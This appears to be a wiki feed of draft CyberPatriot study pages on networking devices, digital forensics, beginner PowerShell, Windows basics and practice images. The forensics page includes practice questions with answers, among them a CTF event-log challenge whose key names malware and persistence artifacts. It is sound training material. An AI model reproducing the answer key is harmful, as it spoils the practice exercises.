! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Computer internetworking relies on four primary types of devices: Hosts, Switches, Routers, and Firewalls. Each plays a vital role in building and maintaining a functional network.&lt;br /&gt;
&lt;br /&gt;
== What is a network? ==&lt;br /&gt;
&lt;br /&gt;
A computer network is a digital telecommunications network that allows nodes to share resources. Hosts, Switches, Routers, and Firewalls are all nodes.&lt;br /&gt;
&lt;br /&gt;
== Client vs Server ==&lt;br /&gt;
&lt;br /&gt;
* A CLIENT is a device that accesses a service made available by a SERVER.&lt;br /&gt;
** Includes devices like computers and smart phones.&lt;br /&gt;
* A SERVER is a device that provides functions or services for CLIENTS.&lt;br /&gt;
** Mostly everything can be a server, so long as it provides functions for clients.&lt;br /&gt;
&lt;br /&gt;
== Host (End Device) ==&lt;br /&gt;
&lt;br /&gt;
A host is any device that either accesses a network or is accessed through a network. Common examples include laptops, desktop computers, servers, smartphones, and tablets. Essentially, if it connects to the internet or a local network, it&#039;s a host.&lt;br /&gt;
&lt;br /&gt;
== Switch ==&lt;br /&gt;
&lt;br /&gt;
A switch is often the first networking device that hosts connect to. It operates within a LAN (Local Area Network), directing traffic between devices on the same local network. For example, if two coworkers in the same office want to share files, the switch handles that communication directly within the building.&lt;br /&gt;
&lt;br /&gt;
== Router ==&lt;br /&gt;
&lt;br /&gt;
A router connects multiple networks together and enables access to a WAN (Wide Area Network), such as the internet. When a computer on one LAN wants to communicate with another device in a different building, city, or even country, the data passes from the switch to the router. The router then forwards the data across various intermediate networks until it reaches its destination.&lt;br /&gt;
&lt;br /&gt;
== Firewall ==&lt;br /&gt;
&lt;br /&gt;
A firewall acts as a security barrier between trusted and untrusted networks. It filters incoming and outgoing traffic based on a set of rules, helping to block malicious or unauthorized data. While often considered more advanced and typically appearing in later stages or competition or network setups, firewalls are essential for protection.&lt;br /&gt;
&lt;br /&gt;
== Supplementary Resources and Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/Computer_network&lt;br /&gt;
* https://www.youtube.com/watch?v=H8W9oMNSuwo&amp;amp;list=PLxbwE86jKRgMpuZuLBivzlM8s2Dk5lXBQ&amp;amp;index=1&lt;br /&gt;
&lt;br /&gt;
[[Category:Cisco Packet Tracer|038]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Introduction_to_Forensics&amp;diff=150</id>
		<title>Draft:Introduction to Forensics</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Introduction_to_Forensics&amp;diff=150"/>
		<updated>2026-09-22T05:42:29Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/forensics/intro_forensics (source: docs/windows/forensics/intro_forensics.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): a_person&lt;br /&gt;
&lt;br /&gt;
Last Updated: 05-30-2026&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Digital Forensics ==&lt;br /&gt;
&lt;br /&gt;
Think about a physical crime scene. An investigator would examine the scene, look for evidence, document their findings, and reconstruct what happened. Digital forensics is very similar. Instead of physical evidence, forensic analysts investigate logs, file systems, network traffic, and other artifacts to:&lt;br /&gt;
&lt;br /&gt;
* identify evidence&lt;br /&gt;
* reconstruct exactly what happened&lt;br /&gt;
* determine the cause of an incident&lt;br /&gt;
* support legal investigations&lt;br /&gt;
&lt;br /&gt;
Digital forensics is also a vital part of incident response (IR), which is the process an organization uses to detect, respond to, and recover from cyberattacks.&lt;br /&gt;
&lt;br /&gt;
== What are forensics questions? ==&lt;br /&gt;
&lt;br /&gt;
Forensics Questions are questions that ask about the current system, logs of attacks, or general information that has some relationship to the current system. These can ask you anything from CVEs, using logs to find indicators of compromise, or reversing a binary. They can also include file attachments which include, but are not limited to: network captures, images, and malware. They are usually located on the Desktop.&lt;br /&gt;
&lt;br /&gt;
== Practice! ==&lt;br /&gt;
&lt;br /&gt;
Here are some example, easy forensics questions that do not require much work:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;Find the CVEs fixed in Notepad++ v8.5.7&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fixed CVEs:&#039;&#039;&#039; CVE-2023-40031, CVE-2023-40036, CVE-2023-40164, CVE-2023-40166&amp;lt;br /&amp;gt; &#039;&#039;&#039;Reference:&#039;&#039;&#039; [https://notepad-plus-plus.org/downloads/v8.5.7/ Notepad++ v8.5.7 Release Notes]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;Decode the encrypted message&#039;&#039;&#039;: &amp;lt;code&amp;gt;5a 47 39 75 61 32 56 35 49 47 6c 7a 49 47 35 76 64 43 42 7a 61 32 6c 69 61 57 52 70&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Decoded:&#039;&#039;&#039; donkey is not skibidi&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can decode it by decoding from hex, then decoding the result from Base64. Cyberchef link: https://cyberchef.org/#recipe=From_Hex(&#039;Auto&#039;)From_Base64(&#039;A-Za-z0-9%2B/%3D&#039;,true,false)&amp;amp;input=NWEgNDcgMzkgNzUgNjEgMzIgNTYgMzUgNDkgNDcgNmMgN2EgNDkgNDcgMzUgNzYgNjQgNDMgNDIgN2EgNjEgMzIgNmMgNjkgNjEgNTcgNTIgNzA&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;What is the publication timestamp (ISO 8601) for CVE-2025-4561?&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Timestamp:&#039;&#039;&#039; 2025-05-12T06:44:29.959Z&amp;lt;br /&amp;gt; &#039;&#039;&#039;Source:&#039;&#039;&#039; [https://github.com/CVEProject/cvelistV5/blob/main/cves/2025/4xxx/CVE-2025-4561.json CVE Record on GitHub]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Here is an example of conducting forensics on Windows Event Logs. This was a scrapped challange for a CTF. You may want to do some research if you are not familiar with them.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;[https://cypat.guide/FQPractice.evtx Click here to download the file]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;Find the following information: the executable file downloaded and ran that was the malware, the name of the executable that abused an unquoted service path, the sensitive file that was accessed, the command that led the attacker to discover it, the registry value created for persistence of the PowerShell script uploading user data, and the FTP server port number.&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Answers:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;update.exe&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;My.exe&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;passwords.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;netshare&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;SysmonAgent&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;2222&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What can I use for extra practice? ==&lt;br /&gt;
&lt;br /&gt;
CTFs, practice images, and Hack the Box are great for forensics practice. Here are some websites you can use to practice them:&lt;br /&gt;
&lt;br /&gt;
* https://picoctf.org/&lt;br /&gt;
* https://github.com/alphyos/CyberStart-2024&lt;br /&gt;
* https://imaginaryctf.org/&lt;br /&gt;
* https://images.cypat.guide&lt;br /&gt;
* https://www.hackthebox.com/&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows Forensics|001]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:PowerShell_for_Beginner_Users&amp;diff=149</id>
		<title>Draft:PowerShell for Beginner Users</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:PowerShell_for_Beginner_Users&amp;diff=149"/>
		<updated>2026-09-22T05:42:24Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/scripting/beginner_powershell (source: docs/windows/scripting/beginner_powershell.md) --&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Author(s):&#039;&#039;&#039; Byrch&amp;lt;br /&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Last Updated:&#039;&#039;&#039; 07-30-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None – This guide is for complete beginners. Some familiarity with Windows is helpful.&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
== What is a Commandlet (Cmdlet)? ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;cmdlet&#039;&#039;&#039; (pronounced &#039;&#039;command-let&#039;&#039;) is a small, single-function command built into PowerShell.&amp;lt;br /&amp;gt;&lt;br /&gt;
Cmdlets are different from traditional commands because they:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;ALWAYS&#039;&#039;&#039; return objects (not just text).&lt;br /&gt;
* Use a consistent &#039;&#039;&#039;verb-noun&#039;&#039;&#039; naming convention.&lt;br /&gt;
* Can be combined together using &#039;&#039;&#039;pipelines (|)&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Examples:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Get-Help        # Displays help info&lt;br /&gt;
Get-Process     # Lists running processes&lt;br /&gt;
Stop-Process    # Stops a process&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&#039;&#039;&#039;Tip:&#039;&#039;&#039; Cmdlets are case-insensitive. &amp;lt;code&amp;gt;Get-Process&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;get-process&amp;lt;/code&amp;gt; work the same.&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
To see all available cmdlets:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Get-Command&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
== Navigation ==&lt;br /&gt;
&lt;br /&gt;
PowerShell can navigate your system like the command prompt, but with more features.&lt;br /&gt;
&lt;br /&gt;
=== Basic navigation commands: ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Get-Location&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;pwd&amp;lt;/code&amp;gt;) → Shows your current directory.&lt;br /&gt;
* &amp;lt;code&amp;gt;Set-Location &amp;amp;lt;path&amp;amp;gt;&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;cd &amp;amp;lt;path&amp;amp;gt;&amp;lt;/code&amp;gt;) → Change directory.&lt;br /&gt;
* &amp;lt;code&amp;gt;Get-ChildItem&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;) → List files/folders in the current directory.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Example:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Get-Location&lt;br /&gt;
Set-Location C:\Windows&lt;br /&gt;
Get-ChildItem&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Using relative paths:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;cd ..      # Move up one directory&lt;br /&gt;
cd .\Logs  # Move into Logs folder&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
== Basic Scripting ==&lt;br /&gt;
&lt;br /&gt;
PowerShell allows you to write scripts with the &amp;lt;code&amp;gt;.ps1&amp;lt;/code&amp;gt; file extension.&lt;br /&gt;
&lt;br /&gt;
=== Creating and running a script ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: decimal;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Open &#039;&#039;&#039;Notepad&#039;&#039;&#039; or &#039;&#039;&#039;Powershell ISE (Integrated Scripting Environment).&#039;&#039;&#039;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Write your PowerShell commands.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Save as &amp;lt;code&amp;gt;myscript.ps1&amp;lt;/code&amp;gt;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Run it in PowerShell:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;.\myscript.ps1&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&#039;&#039;&#039;Important:&#039;&#039;&#039; You may need to change the execution policy to allow scripts:&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Set-ExecutionPolicy -Scope CurrentUser RemoteSigned&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Variables ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;$name = &amp;quot;CyberPatriot&amp;quot;&lt;br /&gt;
Write-Output &amp;quot;Hello, $name!&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Conditionals ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;if ($true) { Write-Output &amp;quot;It runs!&amp;quot; }&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Loops ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;# Loop that counts till 5&lt;br /&gt;
for ($i = 1; $i -le 5; $i++) {&lt;br /&gt;
    Write-Output &amp;quot;Number: $i&amp;quot;&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
== File Operations ==&lt;br /&gt;
&lt;br /&gt;
PowerShell makes file management straightforward:&lt;br /&gt;
&lt;br /&gt;
=== Creating and reading files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;New-Item -Path . -Name &amp;quot;notes.txt&amp;quot; -ItemType &amp;quot;File&amp;quot;   # Create file&lt;br /&gt;
Set-Content notes.txt &amp;quot;This is cool!&amp;quot;         # Write text&lt;br /&gt;
Get-Content notes.txt                                 # Read file&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Copying, moving, and deleting files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Copy-Item notes.txt C:\Backups&lt;br /&gt;
Move-Item notes.txt C:\Backups&lt;br /&gt;
Remove-Item C:\Backups\notes.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Working with directories ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;New-Item -Name &amp;quot;Reports&amp;quot; -ItemType &amp;quot;Directory&amp;quot;&lt;br /&gt;
Remove-Item Reports -Recurse -Force&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Working with many files recursively ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Get-ChildItem -Recurse -Force -File &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== Pipelines (Power of PowerShell) ===&lt;br /&gt;
&lt;br /&gt;
You can pass the output of one cmdlet to another using &amp;lt;code&amp;gt;|&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Get-ChildItem -Recurse -Force -File | Where-Object {$_.Extension -eq &amp;quot;.mp3&amp;quot;}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This command finds all the &#039;&#039;&#039;files&#039;&#039;&#039; in the current directory with the extension *.mp3&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== Fun Commands (Power of PowerShell) ===&lt;br /&gt;
&lt;br /&gt;
You can find the checksum of a file using:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Get-FileHash -Algorithm MD5 -Path &amp;quot;/file/path/here&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Want to secure a plaintext string? You can use the following to convert it to encrypt and store strings securely (this will come in handy later):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&amp;quot;mypassword&amp;quot; | ConvertTo-SecureString -AsPlainText -Force&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Don&#039;t know what a command-let does? You can view the parameters and other capabilties using another command-let:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;Show-Command Get-LocalUser&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows PowerShell|009]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Windows_Basics&amp;diff=148</id>
		<title>Draft:Windows Basics</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Windows_Basics&amp;diff=148"/>
		<updated>2026-09-22T05:42:24Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/Basics (source: docs/windows/Basics.md) --&amp;gt;&lt;br /&gt;
== First, what is Windows? ==&lt;br /&gt;
&lt;br /&gt;
Windows is an operating system developed by Microsoft that is the main software allowing you to control and use your computer. An operating system (OS) is essential because it manages the computer’s hardware and software resources, lets you run applications, and provides a way for you to interact with the system through windows, icons, and menus (known as a graphical user interface, or GUI). You are most likely running Windows on your computer right now.&lt;br /&gt;
&lt;br /&gt;
== Windows vs other operating systems ==&lt;br /&gt;
&lt;br /&gt;
Windows, unlike other OS&#039;s such as Linux and FreeBSD, is more graphically focused, meaning that the user is able to see what exactly they are doing rather than typing commands in a terminal. However, Windows does have a terminal (Command Prompt(cmd) and Powershell).&lt;br /&gt;
&lt;br /&gt;
== What to expect ==&lt;br /&gt;
&lt;br /&gt;
You are mainly going to see and have to configure:&lt;br /&gt;
&lt;br /&gt;
# Forensics Questions&lt;br /&gt;
# Unauthorized Users and Administrators&lt;br /&gt;
# Unsecure passwords&lt;br /&gt;
# Unsecure group policy settings&lt;br /&gt;
# Outdated software&lt;br /&gt;
# Malware&lt;br /&gt;
# Unnecessary services&lt;br /&gt;
# Unauthorized media and apps&lt;br /&gt;
# Unsecure apps&lt;br /&gt;
# Misconfigured firewall and antivirus settings&lt;br /&gt;
&lt;br /&gt;
== Familiarity ==&lt;br /&gt;
&lt;br /&gt;
It is important to get yourself familiar with the operating system. You can do this mainly through:&lt;br /&gt;
&lt;br /&gt;
# Reading guides/documentation. This should help you get a basic understanding.&lt;br /&gt;
# Creating a Windows VM. Try playing around with it. [https://www.youtube.com/watch?v=uWMiWD-d7mQ Here is a guide on how to create a VM]&lt;br /&gt;
# Doing Practice Images. These can realy help with getting familiar with using common apps such as the ones in Microsoft Management Console(MMC).&lt;br /&gt;
&lt;br /&gt;
== Helpful websites and forums ==&lt;br /&gt;
&lt;br /&gt;
* https://learn.microsoft.com/en-us/&lt;br /&gt;
* https://community.spiceworks.com/&lt;br /&gt;
* https://www.elevenforum.com/&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows|000]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Practice_Images&amp;diff=137</id>
		<title>Practice Images</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Practice_Images&amp;diff=137"/>
		<updated>2026-09-19T06:24:37Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Point to the shared practice-image spreadsheet for now (table version kept in page history)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Interim version (2026-09-19): points to the shared spreadsheet until the list is formatted for the wiki. The full table version is drafts/Practice_Images.wiki in the project folder and in this page&#039;s history. --&amp;gt;&lt;br /&gt;
Author(s): (add name) &amp;lt;br /&amp;gt; Last Updated: 9-18-2026&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Practice images&#039;&#039;&#039; are virtual machines (and Cisco Packet Tracer activity files) that someone has built to look like a neglected, vulnerable system. You harden them the way you would a real one: find the problems, fix them and answer the forensic questions, ideally under a time limit. They are the best way to get hands-on practice for competitions such as CyberPatriot without touching a system you care about.&lt;br /&gt;
&lt;br /&gt;
== The list ==&lt;br /&gt;
&lt;br /&gt;
The community&#039;s list of practice images for Windows, Linux and Cisco Packet Tracer, with difficulty, ratings, creators and download links, is kept in a shared spreadsheet:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;[https://docs.google.com/spreadsheets/d/1cdVHtk4w5JDJCYy-EO2_ycr0ZqMgUyjFOVDn5Y8eGVw/edit?usp=sharing Practice images spreadsheet]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Before you download ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use a virtual machine and take a snapshot first.&#039;&#039;&#039; Some images deliberately contain malware-like programs, backdoors and unwanted software. Never run one on your everyday computer, and keep its network set to NAT or host-only.&lt;br /&gt;
* &#039;&#039;&#039;WikiCyber does not host, review or guarantee these files.&#039;&#039;&#039; They sit on third-party sites (mostly Google Drive) and links break or move. An image may also be broken or out of date.&lt;br /&gt;
* &#039;&#039;&#039;Any logins or extraction passwords in the spreadsheet are for the practice images only.&#039;&#039;&#039; Never reuse them anywhere real.&lt;br /&gt;
* &#039;&#039;&#039;Large and multi-part downloads are normal.&#039;&#039;&#039; Use [https://www.7-zip.org/ 7-Zip] to extract them, and read the README inside each image before you start.&lt;br /&gt;
* &#039;&#039;&#039;Try before you peek.&#039;&#039;&#039; Where a walkthrough or answer key exists, you learn far more if you work until you are truly out of ideas first.&lt;br /&gt;
* Cisco Packet Tracer activity files (&amp;lt;code&amp;gt;.pka&amp;lt;/code&amp;gt;) need [https://www.netacad.com/ Cisco Packet Tracer], which Cisco offers through its Networking Academy.&lt;br /&gt;
* This list is unofficial and is not affiliated with CyberPatriot, the Air &amp;amp; Space Forces Association, Cisco or Microsoft. Each image belongs to its creator.&lt;br /&gt;
&lt;br /&gt;
[[Category:Practice images]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Practice_Images&amp;diff=136</id>
		<title>Practice Images</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Practice_Images&amp;diff=136"/>
		<updated>2026-09-19T06:12:50Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Add practice image list (83 images: Windows, Linux, Cisco, Misc)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Generated from the community practice-image sheets (WINDOWS, LINUX, CISCO, MISC). Editorial notes: creators&#039; personal-site links dropped unless they are the image&#039;s own page/download/walkthrough (Terms of Use 6.1); joke/placeholder rows dropped; creators&#039; published practice-image logins kept. Links lost in the CSV export are marked TODO. Licence of the source sheets is not stated - reviewer please confirm. --&amp;gt;&lt;br /&gt;
Author(s): (add name) &amp;lt;br /&amp;gt; Last Updated: 9-18-2026&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Practice images&#039;&#039;&#039; are virtual machines (and Cisco Packet Tracer activity files) that someone has built to look like a neglected, vulnerable system. You harden them the way you would a real one: find the problems, fix them and answer the forensic questions, ideally under a time limit. They are the best way to get hands-on practice for competitions such as CyberPatriot without touching a system you care about.&lt;br /&gt;
&lt;br /&gt;
This page lists 83 community-made images for Windows, Linux and Cisco. Every image was made by a volunteer; WikiCyber only collects the list.&lt;br /&gt;
&lt;br /&gt;
== Before you download ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use a virtual machine and take a snapshot first.&#039;&#039;&#039; Some images deliberately contain malware-like programs, backdoors and unwanted software. Never run one on your everyday computer, and keep its network set to NAT or host-only.&lt;br /&gt;
* &#039;&#039;&#039;WikiCyber does not host, review or guarantee these files.&#039;&#039;&#039; They sit on third-party sites (mostly Google Drive) and links break or move. An image may also be broken or out of date.&lt;br /&gt;
* &#039;&#039;&#039;Passwords in the tables are for the practice images only.&#039;&#039;&#039; They are published by the image creators so you can log in. Never reuse them anywhere real.&lt;br /&gt;
* &#039;&#039;&#039;Large and multi-part downloads are normal.&#039;&#039;&#039; Use [https://www.7-zip.org/ 7-Zip] to extract them, and read the README inside each image before you start.&lt;br /&gt;
* &#039;&#039;&#039;Try before you peek.&#039;&#039;&#039; Where a walkthrough or answer key exists it is marked &#039;&#039;spoilers&#039;&#039;. You learn far more if you work until you are truly out of ideas first.&lt;br /&gt;
* This list is unofficial and is not affiliated with CyberPatriot, the Air &amp;amp; Space Forces Association, Cisco or Microsoft. Each image belongs to its creator. If you made an image and want the credit corrected or the entry removed, leave a message on this page&#039;s Talk tab.&lt;br /&gt;
&lt;br /&gt;
== How to read the tables ==&lt;br /&gt;
&lt;br /&gt;
Click a column heading to sort. The tables start with the hardest images.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width:auto&amp;quot;&lt;br /&gt;
! Level !! Meaning&lt;br /&gt;
|-&lt;br /&gt;
| 0 || Unrated&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Easy&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Easy – Medium&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Medium&lt;br /&gt;
|-&lt;br /&gt;
| 4 || Medium – Hard&lt;br /&gt;
|-&lt;br /&gt;
